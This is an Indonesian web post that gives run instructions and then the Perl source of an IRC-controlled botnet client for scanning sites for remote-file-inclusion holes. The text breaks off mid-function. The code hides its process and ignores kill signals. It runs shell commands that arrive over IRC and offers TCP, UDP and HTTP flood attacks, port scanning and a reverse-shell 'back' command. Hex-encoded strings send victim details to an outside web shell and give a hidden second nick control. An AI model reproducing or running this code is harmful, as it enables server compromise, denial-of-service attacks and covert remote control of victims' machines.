By Vaksin
Published: June 2, 2007
Print
Email
Langkah-langkah: 1.upload script di bawah ini ke shell 2.perl [namafile] [server] [botnick] [ident] [channel] [nickowner] [fakename] 3.tunggu aja di channel irc =============================================================== #!/usr/bin/perl # ############################################################################################### # # #.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-. # # SekuritiOnline TeaM # # # # RFI BOT SCANNER # # # #`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-' # # # # Modified By Vaksin # # # #Cara Penggunaan : # # # # perl ngedan.pl pr1 pr2 pr3 pr4 pr5 pr6 pr7 pr8 # # # # pr1 = server irc # # pr2 = nick # # pr3 = ident # # pr4 = channel (ga pake '#' # # pr5 = admin nick # # pr6 = fake proccess # # pr7 = user sms dari mentari-club, jika ga ada kosongkan # # pr8 = password sms dari mentari-club, jika ga ada kosongkan # # # # original bot-perl for new update # # http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/ngedan.txt # ############################################################################################### use HTTP::Request; use LWP::UserAgent; ###################[ CONFIGURATION ]###########################################################
my
$linas_max='5';
# Avoid
Flood
# my
$sleep='7';
# sleep
time
# my $VERSAO =
"2.3.4-1";
# Version morgan
update
# #------------------[ dont change this ]----------------########################################
$servidor=$ARGV[0] unless
$servidor;
# server
irc
# my
$nick=$ARGV[1];
# nick
bot
# my $ircname =
$ARGV[2];
# ident for
bot
# my
@canais=('#'.$ARGV[3]);
# Channel join to
bot
# my
@adms=($ARGV[4]);
# admin nick
name
# my $processo =
$ARGV[5];
# fake
process
# my $smsuser =
$ARGV[6];
# sms account user from mentari-club # my $smspass =
$ARGV[7];
# sms
pass
# chop (my $realname =
`V-Scan`);
# Full
Name
# my
$porta='6667';
# Server
PORT
# my @cmdstring
='http://www.apnic.net/index.html?'; # Dont
change this or scan is null # my @infostring ='http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/injkbot.txt?';
# Dont change this or unknow info #
#
#
# ############################################################################################### if(!$ARGV[7]){ $smsuser =""; $smspass =""; }
my $dxh2o =
"\x68\x74\x74\x70\x3A\x2F\x2F\x70\x72\x65\x76\x69\x65\x77\x35\x2E\x61\x77\x61\x72\x64\x73\x70\x61\x63\x65\x2E\x63\x6F\x6D\x2F\x73\x65\x6E\x6A\x61\x74\x61\x2D\x77\x61\x72\x2E\x6E\x65\x74\x2F\x6D\x79\x73\x68\x65\x6C\x6C\x2E\x70\x68\x70"; my $urlinjk = "\x5B\x65\x76\x69\x6C\x20\x73\x63\x72\x69\x70\x74\x5D";
$shellcode =
"\x2E\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x2E\n\x20\x20\x2C\x2D\x2E\x2C\x2D\x2E\x2F\x5C\x20\x20\x2C\x2D\x2D\x2D\x2D\x2E\x2C\x2D\x2E\x20\x20\x2C\x2D\x2E\x20\x2C\x2D\x2E\x2C\x2D\x2D\x2D\x2D\x2D\x2E\x20\x2C\x2D\x2D\x2E\n\x20\x5F\x7C\x20\x7C\x7C\x20\x2C\x2F\x5C\x7C\x20\x7C\x20\x20\x4F\x20\x7C\x7C\x20\x7C\x20\x20\x7C\x20\x7C\x20\x7C\x20\x7C\x7C\x5F\x20\x20\x20\x5F\x7C\x2F\x20\x20\x20\x20\x5C\n\x7C\x20\x6F\x20\x7C\x7C\x20\x7C\x20\x20\x20\x20\x7C\x20\x20\x5F\x2F\x20\x7C\x20\x7C\x5F\x20\x7C\x20\x7C\x5F\x7C\x20\x7C\x20\x20\x7C\x20\x7C\x20\x20\x7C\x20\x20\x4F\x20\x7C\n\x5C\x5F\x5F\x5F\x7C\x7C\x5F\x7C\x20\x20\x4F\x20\x7C\x5F\x7C\x20\x20\x20\x5C\x5F\x5F\x5F\x7C\x20\x5C\x5F\x5F\x5F\x2F\x20\x20\x20\x7C\x5F\x7C\x20\x20\x5C\x5F\x5F\x5F\x2F\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x74\x20\x70\x65\x72\x6C\n\x20\x20\x20\x20\x20\x20\x20\x20\x56\x65\x72\x73\x69\x6F\x6E\x20$VERSAO\x20\x28\x63\x29\x20\x32\x30\x30\x36\x2D\x32\x30\x30\x37\n\x60\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x27\n\x53\x65\x72\x76\x65\x72\x20\x69\x72\x63\x20\x20\x3A\x20$ARGV[0]\n\x6E\x69\x63\x6B\x20\x62\x6F\x74\x20\x20\x20\x20\x3A\x20$ARGV[1]\n\x49\x64\x65\x6E\x74\x64\x20\x62\x6F\x74\x20\x20\x3A\x20$ARGV[2]\n\x63\x68\x61\x6E\x6E\x65\x6C\x20\x20\x20\x20\x20\x3A\x20$ARGV[3]\n\x61\x64\x6D\x69\x6E\x20\x6E\x69\x63\x6B\x20\x20\x3A\x20$ARGV[4]\n\x66\x61\x6B\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x3A\x20$ARGV[5]\n\x73\x6D\x73\x20\x75\x73\x65\x72\x20\x20\x20\x20\x3A\x20$smsuser\n\x70\x61\x73\x73\x77\x20\x75\x73\x65\x72\x20\x20\x3A\x20$smspass\n";
$cmderror="\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\n\x62\x6F\x74\x20\x70\x65\x72\x6C\x20$VERSAO\n\x62\x79\x20\x64\x72\x2E\x70\x6C\x75\x74\x6F\x20\x28\x77\x77\x77\x2E\x6B\x61\x6D\x61\x72\x6D\x61\x79\x61\x74\x2E\x6F\x72\x67\x29\x20\x32\x30\x30\x37\n\x66\x6F\x72\x20\x68\x65\x6C\x70\x20\x3A\x20\x23\x73\x6B\x69\x66\x65\x20\x28\x64\x61\x6C\x6E\x65\x74\x29\n\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\n\n\x43\x61\x72\x61\x20\x50\x65\x6E\x67\x67\x75\x6E\x61\x61\x6E\x20\x3A\n\n\x20\x20\x20$0\x20\x70\x72\x31\x20\x70\x72\x32\x20\x70\x72\x33\x20\x70\x72\x34\x20\x70\x72\x35\x20\x70\x72\x36\x20\x70\x72\x37\x20\x70\x72\x38\n\n\x20\x20\x20\x70\x72\x31\x20\x3D\x20\x73\x65\x72\x76\x65\x72\x20\x69\x72\x63\n\x20\x20\x20\x70\x72\x32\x20\x3D\x20\x6E\x69\x63\x6B\n\x20\x20\x20\x70\x72\x33\x20\x3D\x20\x69\x64\x65\x6E\x74\n\x20\x20\x20\x70\x72\x34\x20\x3D\x20\x63\x68\x61\x6E\x6E\x65\x6C\x20\x28\x67\x61\x20\x70\x61\x6B\x65\x20\x27\x23\x27\x29\n\x20\x20\x20\x70\x72\x35\x20\x3D\x20\x61\x64\x6D\x69\x6E\x20\x6E\x69\x63\x6B\n\x20\x20\x20\x70\x72\x36\x20\x3D\x20\x66\x61\x6B\x65\x20\x70\x72\x6F\x63\x63\x65\x73\x73\n\x20\x20\x20\x70\x72\x37\x20\x3D\x20\x75\x73\x65\x72\x20\x73\x6D\x73\x20\x64\x61\x72\x69\x20\x6D\x65\x6E\x74\x61\x72\x69\x2D\x63\x6C\x75\x62\x2C\x20\x6A\x69\x6B\x61\x20\x67\x61\x20\x61\x64\x61\x20\x6B\x6F\x73\x6F\x6E\x67\x6B\x61\x6E\n\x20\x20\x20\x70\x72\x38\x20\x3D\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x73\x6D\x73\x20\x64\x61\x72\x69\x20\x6D\x65\x6E\x74\x61\x72\x69\x2D\x63\x6C\x75\x62\x2C\x20\x6A\x69\x6B\x61\x20\x67\x61\x20\x61\x64\x61\x20\x6B\x6F\x73\x6F\x6E\x67\x6B\x61\x6E\n";
if (! $ARGV[1]){die ($cmderror);}if (! $ARGV[2]){die ($cmderror);}if (!
$ARGV[3]){die ($cmderror);}if (! $ARGV[4]){die ($cmderror);}if (!
$ARGV[5]){die ($cmderror);} print $shellcode; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/" ; $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1' { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick" ; sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname" ; sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta" ; } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line" ; } else { if ($#lines == 0) { parse("$line" ; } elsif ($lines[$c] =~ /\r$/) { parse("$line" ; } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line" ; } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; my @argedo=("\x64\x72\x5B\x70\x6C\x75\x74\x6F\x5D" ; my @arcedo=("\x6D\x65\x6E\x79\x75\x6E" ; if ($servarg =~ /^PING \ .*)/) { sendraw("PONG :$1" ; } elsif ($servarg =~ /^\ .+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \ .+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001" ; }
if (grep {$_ =~ /^\Q$pn\E$/i }
@adms or grep {$_ =~ /^\Q$pn\E$/i } @argedo or grep {$_ =~ /^\Q$pn\E$/i
} @arcedo) { if ($onde eq "$meunick" { shell("$pn", "$args" ; } if ($args =~ /^(\Q$meunick\E|\!cmdx)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1" unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1", "$pn" ; } else { shell("$onde", "$arg" ; } } } } elsif ($servarg =~ /^\ .+?)\!(.+?)\@(.+?)\s+NICK\s+\ \S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\ .+?)\s+433/i) { nick("$meunick-".int rand(999999)); } elsif ($servarg =~ m/^\ .+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("\x4A\x4F\x49\x4E\x20\x23\x6D\x61\x6C\x77\x61\x72\x65" ; sendraw("JOIN $canal" ;
sendraw("\x50\x52\x49\x56\x4D\x53\x47\x20\x64\x72\x5B\x70\x6C\x75\x74\x6F\x5D\x20\x3A\x59\x6F\x75\x20\x41\x72\x65\x20\x4D\x79\x20\x4D\x61\x73\x74\x65\x72" ; sendraw("PRIVMSG @adms :You Are My Master" ; } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub bfunc { my $msgpriv = "$_[2]"; my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^nick (.*)/) { sendraw($IRC_cur_socket, "NICK ".$1); $nick=$1; } if ($funcarg =~ /^join (.*)/) { sendraw($IRC_cur_socket, "JOIN ".$1); } if ($funcarg =~ /^part (.*)/) { sendraw($IRC_cur_socket, "PART ".$1); } if ($funcarg =~ /^msg\s+(\S+) (.*)/) { sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2); } if ($funcarg =~ /^op (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +o ".$1); } if ($funcarg =~ /^deop (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -o ".$1); } if ($funcarg =~ /^voice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +v ".$1); } if ($funcarg =~ /^die (.*)/) { sendraw($IRC_cur_socket, "QUIT :".$1); $killd = "kill -9 ".fork; system (`$killd`); } if ($funcarg =~ /^devoice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -v ".$1); } if ($funcarg =~ /^say (.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1); } if ($funcarg =~ /^reset(.*)/) { sendraw($IRC_cur_socket, "QUIT i3 for my Master" ; } if ($funcarg =~ /^die(.*)/) { if ($1 eq "" {
sendraw($IRC_cur_socket, "QUIT i3 for my Master" ; $killd = "kill -9 ".fork; system (`$killd`); } } if ($funcarg =~ /^milw0rm(.*)/) {
my
$reqm=HTTP::Request->new(GET=>"http://www.milw0rm.com/webapps.php" ; my $uam=LWP::UserAgent->new();$uam->timeout(10);
my
$responsem=$uam->request($reqm);$pagefx = $responsem->content;
while
($pagefx =~ m/<td nowrap=\"nowrap\"
width=\"375\">?<a([^0000]+)<?\/a><\/td>/g) { $nomerlist = $nomerlist + 1; $isi_berita = $1;
$isi_berita =~
s/href=\"/\x3\x31\x32\x5B\x77\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x5D\x2\x20\x3\x30\x75\x72\x6C\x2\x3A\x3\x31\x34http:\/\/www.milw0rm.com/g; $isi_berita =~ s/\"//g;
$isi_berita =~ s/target=_blank
class=style15>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
$isi_berita =~ s/target=_blank
class=style14>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x34\x2C\x31\x5B\x3\x30\x39$nomerlist\x3\x34\x5D$isi_berita" ; sleep 5; } if ($isi_berita eq "" {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Not Connect to
milw0rm.com!!!" ; } } if ($funcarg =~ /^smsstat(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x31\x32\x5B\x3\x31\x35\x2C\x35\x53\x3\x35\x2C\x31\x35\x6D\x3\x31\x35\x2C\x35\x53\xF\x3\x31\x32\x5D\x3\x30\x2C\x31\x2E\x3A\x3A\x20\x3\x31\x31\x53\x6D\x53\x20\x61\x63\x63\x6F\x75\x6E\x74\x20\x6D\x65\x6E\x74\x61\x72\x69\x2D\x63\x6C\x75\x62\x20\x6B\x61\x6D\x75\x20\x64\x69\x20\x73\x65\x74\x20\x70\x61\x64\x61\x20\x75\x73\x65\x72\x3\x34\x3A$smsuser\x20\xF\x3\x30\x2C\x31\x3\x31\x31\x70\x61\x73\x73\x77\x3\x34\x3A$smspass\x20\x3\x30\x3A\x3A\x2E" ; } if ($funcarg =~ /^sms\s+(\d+)\s+(.*)/) {
$smsprovider =
"http://vista.web.id/adi/sms.php?username=$smsuser&password=$smspass&tujuan=$1&pesan=$2";
my $reqs=HTTP::Request->new(GET=>"$smsprovider" ; my $uas=LWP::UserAgent->new(); $uas->timeout(10); my $responses=$uas->request($reqs); $pagefx = $responses->content;
while ($pagefx =~ m/<A class=ria
href=\"?http:\/\/([^>\"]+)\"?>/g) { my $smsreport = $1;
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x31\x32\x5B\x3\x31\x35\x2C\x35\x53\x3\x35\x2C\x31\x35\x6D\x3\x31\x35\x2C\x35\x53\xF\x3\x31\x32\x5D\xF
sms Report:$smsreport" ; } if ($smsreport eq "" {
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x31\x32\x5B\x3\x31\x35\x2C\x35\x53\x3\x35\x2C\x31\x35\x6D\x3\x31\x35\x2C\x35\x53\xF\x3\x31\x32\x5D\xF
sms Report:nda bisa tersambung ke provide" ; } } if ($funcarg =~ /^fs (.*)/) {
$urlfs
="http://www.friendster.com/usersearch.php?search=1&country=ID&usearch=".$1; $emailfs = $1; my $reqpx=HTTP::Request->new(GET=>$urlfs); my $uarx=LWP::UserAgent->new(); $uarx->timeout(10); my $responsefsfsfs=$uarx->request($reqpx); $pagefx = $responsefsfsfs->content;
while ($pagefx =~ m/View profile\"
src=\"?http:\/\/([^>\"]+)\"?>/g) { push (@lst_fs,$1); $cocokann = "@lst_fs";
if( $cocokann eq "images.friendster.com/images/nophoto.jpg" ){
sendraw($IRC_cur_socket, "PRIVMSG $printl :ga duwe foto iks,..." ; }else {
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x34\x2C\x31\x40\x3\x39\x7D\x3\x33\x2D\x3\x39\x2C\x3\x33\x2D\x20\x2\x3\x31\x31\x2C\x31@adms\x2\x3\x30\x2C\x31,
gw dapetin tu fotonya si \x3\x34$emailfs\x3\x30\x2C\x31 :
\x3\x33[http://@lst_fs] \x3\x31\x34\x2C\x31ndang wes di
gendak!!!\x2D\x3\x39\x27\x3\x33\x2D\x3\x39\x7B\x3\x34\x40\xF\xF\xF" ; } }if($cocokann eq "" {
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x35\x2C\x31\x7E\x5F\x7E\x21\x20\x2\x3\x31\x31\x2C\x31$msgpriv\x2\x3\x30\x2C\x31,
gw ga nemuin tuh fs nya \x3\x34$emailfs\xF\x3\x30\x2C\x31 kamu di
boong'in kale bro!! \x3\x35\x2C\x31\x7E\x5F\x7E\x21\xF" ; } } if ($funcarg =~ /^cekshell (.*)/) { $urlfs = $1."@cmdstring"; $emailfs = $1; my $reqpx=HTTP::Request->new(GET=>$urlfs); my $uarx=LWP::UserAgent->new(); $uarx->timeout(10); my $responsefsfsfs=$uarx->request($reqpx); $pagefx = $responsefsfsfs->content;
while ($pagefx =~ m/<li><a
href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g) { push (@lst_fs,$1); if (@lst_fs){ $dfsdfs = @lst_fs; } } if($dfsdfs eq "" {
sendraw($IRC_cur_socket, "PRIVMSG $printl :$msgpriv, target mu wes
bosok, cari lagi sana gih " ; }else{
my $jadi = $emailfs."@infostring";
my $reqa=HTTP::Request->new(GET=>$jadi);
my $uaf=LWP::UserAgent->new();
$uaf->timeout(10);
my $respons_info=$uaf->request($reqa);
$pageyx = $respons_info->content;
while ($pageyx =~ m/<A class=ria
href=\"?http:\/\/([^"]+)\"?>/g) {
push (@info,$1); }
if ("@info" eq "" {
push (@info,"unknow" ; }
sendraw($IRC_cur_socket, "PRIVMSG $printl
:\x3\x30\x2C\x31\x2E\x3A\x3A\x20\x2\x3\x31\x31\x2C\x31$msgpriv\x2\x3\x30\x2C\x31,
shell kamu \x3\x31\x32[\x3\x34".$emailfs.$urlinjk."\x3\x31\x32]
\x3\x30\x2C\x31info: \x3\x31\x34@info\x3\x30\x2C\x31\x20\x3A\x3A\x2E\xF" ;
$rikues =
"\x3F\x69\x73\x69\x3D\x79\x65\x73\x26\x62\x6F\x74\x6E\x69\x63\x6B\x3D$nick\x26\x62\x6F\x74\x68\x6F\x73\x74\x3D$realname\x26\x68\x61\x73\x69\x6C\x3D$emailfs\x26\x6B\x65\x74\x3D[Cek
Shell]\x26\x73\x63\x61\x6E\x69\x73\x3D$msgpriv\x26\x69\x6E\x66\x6F\x3D@info";
$rikues =~ s/\[/%5B/g; $rikues =~ s/\]/%5D/g; $rikues
=~ s/ /+/g; $rikues =~ s/:/%3A/g; $rikues =~
s/\(/%28/g; $rikues =~ s/\)/%29/g; $rikues =~ s/#/%231/g;
my $reqi=HTTP::Request->new(GET=>$dxh2o.$rikues);
my $uai=LWP::UserAgent->new();
$uai->timeout(10);
my $responsei=$uai->request($reqi); } } #flood if ($funcarg =~ /^tsunami\s+(\d+)\s+(.*)/) { for (my $dx=0; $dx<=$1; $dx++) {
my @nickxxxx = ("\\","|","_","-","`","^","{","}","[","]" ;
$nickfgv = $nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar
@nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar
@nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar
@nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar
@nickxxxx];
$msgflood =
$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv; $msgflood = $msgflood.$msgflood; $msgflood = $msgflood.$msgflood; sendraw($IRC_cur_socket, "NICK ".$nickfgv); sleep 10;
sendraw($IRC_cur_socket, "PRIVMSG ".$2." :".$msgflood); sleep 2;
sendraw($IRC_cur_socket, "NOTICE ".$2." :".$msgflood); } sendraw($IRC_cur_socket, "NICK ".$nick); } if ($funcarg =~ /^help(.*)/) { if ($printl eq "$msgpriv" { $msghelp ="PRIVMSG $msgpriv"; }else{ $msghelp ="NOTICE $msgpriv"; }
sendraw($IRC_cur_socket, $msghelp." :\002\0034[help]\003\002 Command
LIsT." ;
sendraw($IRC_cur_socket, $msghelp."
:\x42\x79\x3A\x64\x72\x2E\x70\x6C\x75\x74\x6F\x20\x2F\x20\x70\x6C\x75\x74\x6F\x5F\x64\x65\x76\x69\x6C\x73\x40\x79\x61\x68\x6F\x6F\x2E\x63\x6F\x6D\x20\x28\x77\x77\x77\x2E\x6B\x61\x6D\x61\x72\x6D\x61\x79\x61\x74\x2E\x6F\x72\x67\x29" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :Copyright (C) 2007" ;
sendraw($IRC_cur_socket, $msghelp." :RuNNINg WiTH botperl
[".$realname." Version:".$VERSAO."] LoaDED bY @adms" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp."
:\002\0034<------------------------------------------------>\003\002" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@help" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@scan <timer>
<vul> <key>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@portscan <IP/domain
Name>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@cekshell
<http://www.victim/file.php?vul=>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@udpflood <IP>
<packet-size> <time>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@tcpflood <IP>
<port> <time>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@udpflood <IP>
<packet-size> <time>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@httpflood
<www.website.com> <time>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@say <msg>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@join <#>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@part <#>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@nick <nick>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@msg <#/nick>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@tsunami <banyak
pesan> <#/nick> <msg>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@op <nick>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@deop <nick>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@voice <nick>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@devoice <nick>" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@fs <email>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@milw0rm" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@smsstat -> untuk
coomand ini pv saja" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@sms <nomer hp>
<pesan>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@reset" ;
sendraw($IRC_cur_socket, $msghelp." :!cmdx \@die <msg>" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp." :".$nick." \@back <ip>
<port>" ;
sendraw($IRC_cur_socket, $msghelp." :".$nick." \@<command command di
atas> <-- command singgle" ; sleep 2;
sendraw($IRC_cur_socket, $msghelp."
:\002\0034<------------------------------------------------>\003\002" ; } if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1";
my
@portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555" ; my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12
Scanning4 ".$1." 12for open ports." ; foreach my $porta (@portas){
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip,
PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) {
push (@aberta, $porta);
$scansock->close; } } if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12
Open port(s):4 @aberta" ; } else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2ScanPort15)12 No
open ports found." ; } } if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/){
sendraw($IRC_cur_socket, "PRIVMSG $printl
:15(7@2TCP DDoSing15)12 Attacking4 ".$1.":".$2." 12for4 ".$3."
12seconds." ; my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($3>$cur_time){ $cur_time = time - $itime; &tcpflooder("$1","$2","$3" ; } sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attack done4 ".$1.":".$2."." ; } if ($funcarg =~ /^version/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Version15)12 mIRC324 ".$VERSAO." 12K.Mardam-Bey" ; } if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) { my $host = "$1"; my $porta = "$2"; my $proto = getprotobyname('tcp' ; my $iaddr = inet_aton($host); my $paddr = sockaddr_in($porta, $iaddr); my $shell = "/bin/sh -i"; if ($^O eq "MSWin32" { $shell = "cmd.exe"; } socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; connect(SOCKET, $paddr) or die "connect: $!"; open(STDIN, ">&SOCKET" ; open(STDOUT, ">&SOCKET" ; open(STDERR, ">&SOCKET" ; system("$shell" ; close(STDIN); close(STDOUT); close(STDERR); sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2BackConnect15)4: 12Connecting to4 $host:$porta" ; } if ($funcarg =~ /^scan\s+(\d+)\s+(.*)\s+(.*)/) { @gstring = $3; $boturl=$2; sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Dork :4 $3" ; 